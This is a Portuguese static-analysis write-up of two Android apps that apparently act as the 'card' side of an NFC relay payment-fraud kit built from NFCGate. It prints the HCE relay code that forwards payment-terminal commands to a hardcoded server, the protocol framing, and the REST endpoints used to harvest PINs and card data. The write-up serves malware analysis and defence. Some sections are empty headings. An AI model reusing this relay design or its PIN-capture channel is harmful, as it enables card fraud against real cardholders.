NFCRelay — o "pagador" (lado HCE) — o que foi descompilado e documentado

Documento de leitura para entender o outro lado do kit: o app que se passa por cartão na maquininha. Base: análise estática dos APKs que estavam no Downloads, sem executá-los.

Amostras:

APK package rótulo SHA-256
NFCRelayApp.apk com.nfcrelay "Autenticador" cac9d999…5541e3
NFCRelayEmulator.apk com.nfcrelay.emulator "Relay" b9b21a63…052b1c2

Ferramentas: apktool (manifest/recursos), jadx (código), aapt2 (badging/xmltree), REA inspect-android-package (inventário). Fontes geradas em:

analise-apk/decompilado/nfcrelay-app/       (3.028+ classes Kotlin→Java)
analise-apk/decompilado/nfcrelay-emulator/
analise-apk/evidencias-outros/*.json        (inventário REA)

1. Identidade e forma

NFCRelayApp NFCRelayEmulator
package / versão com.nfcrelay 1.0 com.nfcrelay.emulator 1.0
minSdk / target 26 / 35 26 / 35
classes / recursos 3.295 / 905 3.087 / 901
dex 6 arquivos 7 arquivos
libs nativas nenhuma nenhuma
linguagem Kotlin (metadados preservados) Kotlin
ofuscação nenhuma — nomes legíveis nenhuma

Ponto importante: não são ofuscados. com.nfcrelay.HceService, RelayService, ApiClient — tudo com nome de gente. Isso é o oposto do NFCLocator, que vinha todo em pacote default com nomes aleatórios.

2. Permissões e features

android.permission.NFC
android.permission.INTERNET
android.permission.FOREGROUND_SERVICE
android.permission.FOREGROUND_SERVICE_CONNECTED_DEVICE
uses-feature: android.hardware.nfc.hce   <-- exige HCE
uses-feature: android.hardware.faketouch

Nada de câmera, SMS, acessibilidade, overlay por SYSTEM_ALERT_WINDOW ou localização. É um app de NFC + rede, nada mais. (O "overlay" do emulador é uma activity dele mesmo, não uma sobreposição em cima de outros apps.)

3. Componentes declarados

NFCRelayApp (com.nfcrelay):

tipo nome exported papel
activity MainActivity true (MAIN/LAUNCHER) status do relay
activity AuthActivity false fluxo de "autenticação" com PIN (712 linhas)
activity PinActivity false teclado de PIN
service HceService true — HOST_APDU_SERVICE pagador HCE
service RelayService false serviço de primeiro plano: conexão, heartbeat, leitura

NFCRelayEmulator (com.nfcrelay.emulator):

tipo nome exported papel
activity MainActivity true status
activity OverlayActivity false pede PIN em tela cheia própria
service HceEmulatorService true — HOST_APDU_SERVICE pagador HCE
service EmulatorService false conexão/heartbeat

O exported=true no serviço HCE é o que o Android exige para o sistema entregar APDUs de terminal nele.

4. O coração: como o celular "vira cartão"

Arquivo: com/nfcrelay/HceService.java (79 linhas — é literalmente o núcleo do golpe):

public byte[] processCommandApdu(byte[] commandApdu, Bundle extras) {
    Log.d("HCE", "APDU from terminal: " + toHex(commandApdu));
    responseQueue.clear();
    RelayService.INSTANCE.sendToServer(commandApdu, false);      // 1. manda pro servidor
    byte[] response = responseQueue.poll(4000L, MILLISECONDS);   // 2. espera 4s
    return response == null ? new byte[]{0x6F, 0x00} : response; // 3. devolve ao terminal
}

No emulador (HceEmulatorService) é igual, com duas diferenças: - espera 6000 ms (não 4000) - mantém um cache local ConcurrentHashMap<String cmdHex, byte[] resp> — comando repetido responde sem ir ao servidor (cacheResponse(cmdHex, respBytes)), o que reduz latência em transações reais.

Traduzindo: a maquininha manda o APDU → o app não responde nada de si mesmo → pergunta ao servidor → devolve a resposta que o servidor mandar. Se o servidor não responder em 4-6 s, devolve 6F 00 (falha).

AIDs declarados (o que faz a maquininha reconhecer)

res/xml/apduservice.xml, categoria payment:

Comparativo direto: o NFCGate oficial declara 1 AID de teste (F0010203040506, categoria other). É a diferença entre "ferramenta de pesquisa" e "aceito em maquininha".

5. Transporte: TCP binário com protobuf do NFCGate

Arquivo: com/nfcrelay/emulator/ServerConnection.java

[ 4 bytes tamanho ][ 1 byte sessão ][ payload protobuf ]

O servidor oficial do NFCGate faz exatamente isso (struct.unpack("!IB", …)), e o payload é de.tu_darmstadt.seemoo.nfcgate.network.c2c.C2c$NFCData:

campo nº tipo conteúdo
data_source 1 enum READER=0 · CARD=1
data_type 2 enum INITIAL=0 · CONTINUATION=1
data 3 bytes APDU binário
timestamp 4 int64 System.currentTimeMillis()

Código que monta (linha 56-57):

C2c.NFCData.DataSource source = fromReader ? DataSource.READER : DataSource.CARD;
C2c.NFCData nfc = C2c.NFCData.newBuilder()
        .setDataSource(source)
        .setDataType(C2c.NFCData.DataType.INITIAL)
        .setTimestamp(System.currentTimeMillis())
        .setData(ByteString.copyFrom(apduData)).build();

Servidor embutido: host = 94.154.172.228, port = 5566 (gravado em SharedPreferences no primeiro start: putString("server","94.154.172.228").putInt("port",5566)).

6. Camada REST (controle + PIN) — http://94.154.172.228:8080

Arquivo: com/nfcrelay/ApiClient.java (OkHttp, JSON):

Método Rota Envia Lê
POST /api/register {session} {server}
POST /api/heartbeat {session, mode} estado/modo
GET /api/sessions/{s}/pin_status — {status}
POST /api/digit_count {session, count, typed} —
POST /api/enroll_pin {session, pin} {ok}
POST /api/verify_pin {session, pin} {ok}
POST /api/card_data {session, apdus[]} —
POST /api/preread {session, cache} —

Leitura: register + heartbeat publicam o aparelho; pin_status/digit_count/verify_pin/enroll_pin são o canal do PIN; card_data sobe o lote de APDUs lidos.

7. Telas e estados

8. Linhagem: é NFCGate com enxerto

NFCGate oficial (Apache 2.0) Estes APKs
Framing !IB sim idêntico
protobuf C2c$NFCData sim idêntico, mesmo namespace de.tu_darmstadt.seemoo.nfcgate
AID 1 de teste 17-18 de pagamento
PIN não existe REST dedicado
Xposed exigido no modo tag não precisa
Licença no APK LICENSE/NOTICE 0 arquivos (54 ocorrências de seemoo/nfcgate no dex, 0 de "Apache")

Ou seja: o protocolo é público (dá pra ler no GitHub do projeto), o que fizeram foi trocar o transporte por um IP fixo, adicionar o canal de PIN e remover a atribuição — violação da Apache 2.0.

9. O que não foi feito / não se sabe

10. Como reproduzir a análise

# inventário
java -jar apktool.jar d -f -o out NFCRelayApp.apk
java -Xmx4g -cp "jadx/lib/*" jadx.cli.JadxCLI -d java --no-res NFCRelayApp.apk

# hce + aids
aapt2 dump xmltree --file AndroidManifest.xml NFCRelayApp.apk | grep -A3 HOST_APDU
aapt2 dump xmltree --file res/xml/apduservice.xml NFCRelayApp.apk

# núcleo
cat out/smali_classes*/com/nfcrelay/HceService.smali      # ou java/com/nfcrelay/HceService.java
cat java/com/nfcrelay/ApiClient.java
cat java/com/nfcrelay/emulator/ServerConnection.java

11. Resumo em uma frase

O pagador é um cartão oco: ele não tem dado nenhum de cartão — só declara 17-18 AIDs de pagamento para o terminal aceitar, repassa cada APDU por TCP/protobuf para um servidor e devolve a resposta que vier de lá; o servidor é quem está conversando com o cartão real (no leitor) e quem coleta o PIN pela camada REST.